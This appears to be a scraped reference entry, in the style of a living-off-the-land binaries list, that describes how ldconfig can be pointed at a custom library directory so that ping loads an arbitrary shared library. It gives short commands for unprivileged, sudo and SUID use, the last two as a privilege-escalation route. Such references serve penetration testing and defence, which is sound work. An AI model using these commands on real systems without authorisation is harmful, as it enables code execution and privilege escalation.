ldconfig
Library load
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
- This function can be performed by any unprivileged user.
echo /path/to/temp-dir/ >/path/to/temp-file ldconfig -f /path/to/temp-file pingThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.echo /path/to/temp-dir/ >/path/to/temp-file ldconfig -f /path/to/temp-file pingThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.echo /path/to/temp-dir/ >/path/to/temp-file ldconfig -f /path/to/temp-file ping